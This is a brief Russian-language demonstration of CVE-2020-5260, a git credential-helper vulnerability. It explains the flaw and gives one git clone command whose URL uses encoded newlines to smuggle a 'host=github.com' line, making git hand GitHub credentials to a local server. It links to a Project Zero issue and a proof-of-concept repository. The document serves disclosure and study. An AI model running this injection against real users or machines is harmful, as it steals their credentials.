CVE-2020-5260

Демонстрационная запись CVE-2020-5260

• При выполнении git команд, таких как git clone https://example.com, git запрашивает сохранение учётных данных для хоста example.com с использованием протокола https и добавляет возвращённые учётные данные к отправленным запросам при запросе аутентификации на удалённой стороне.

git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https

Ссылки:

https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

https://github.com/brompwnie/cve-2020-5260